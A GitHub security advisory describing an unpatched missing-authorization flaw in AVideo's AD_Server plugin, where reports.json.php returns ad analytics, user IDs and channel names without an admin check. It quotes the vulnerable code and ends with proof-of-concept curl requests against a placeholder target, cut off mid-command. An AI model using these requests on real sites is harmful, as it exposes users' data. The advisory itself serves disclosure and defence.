GitHub Security Advisory: GHSA-j36m-74g2-7m95
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-862: Missing Authorization
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo Allows Unauthenticated Access to AD_Server reports.json.php that Exposes Ad Campaign Analytics and User Data

Details:
## Summary

The `plugin/AD_Server/reports.json.php` endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (`reports.php`) and CSV export (`getCSV.php`) both correctly enforce `User::isAdmin()`, but the JSON API was left unprotected.

## Details

The vulnerable file `plugin/AD_Server/reports.json.php` loads the application configuration at line 5 but never checks whether the request comes from an authenticated admin user:

```php
// plugin/AD_Server/reports.json.php:1-10
<?php
header('Content-Type: application/json');
require_once '../../videos/configuration.php';

// Fetch request parameters with safety checks
$startDate = !empty($_REQUEST['startDate']) ? $_REQUEST['startDate'] . ' 00:00:00' : null;
$endDate = !empty($_REQUEST['endDate']) ? $_REQUEST['endDate'] . ' 23:59:59' : null;
$reportType = isset($_REQUEST['reportType']) ? $_REQUEST['reportType'] : null;
```

Compare with the HTML page at `plugin/AD_Server/reports.php:6-8`, which correctly gates access:

```php
if (!User::isAdmin()) {
    forbiddenPage(__("You cannot do this"));
    exit;
}
```

And `plugin/AD_Server/getCSV.php:4-6`:

```php
if (!User::isAdmin()) {
    forbiddenPage('You must be Admin');
}
```

The JSON endpoint exposes five report types, each querying joined tables that include user and video metadata. For example, `getAdsByVideoAndPeriod()` at `VastCampaignsLogs.php:239` executes:

```sql
SELECT v.title as video_title, u.channelName, v.users_id, vcl.videos_id,
       COUNT(vcl.id) as total_ads, vc.name as campaign_name
FROM vast_campaigns_logs vcl
LEFT JOIN videos v ON v.id = vcl.videos_id
LEFT JOIN users u ON u.id = v.users_id
LEFT JOIN vast_campaigns_has_videos vchv ON vchv.id = vcl.vast_campaigns_has_videos_id
LEFT JOIN vast_campaigns vc ON vc.id = vchv.vast_campaigns_id
```

This returns video titles, user channel names, user IDs, and campaign names directly to the unauthenticated caller.

Additionally, `plugin/AD_Server/getData.json.php` also lacks authentication and exposes aggregate ad view counts via `VastCampaignsLogs::getViews()`, though with lower impact.

## PoC

```bash
# 1. Get all ad performance by video — returns video titles, user channel names,
#    user IDs, campaign names, and impression counts (no auth needed)
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByVideo'

# Expected: JSON array with objects containing video_title, channelName,
# users_id, videos_id, total_ads, campaign_name

# 2. Get per-user ad analytics for a specific user
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=1'

# Expected: JSON array with video_title, videos_id, total_ads, campaign_name, users_id

# 3. Get ad type breakdown with campaign names
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportTyp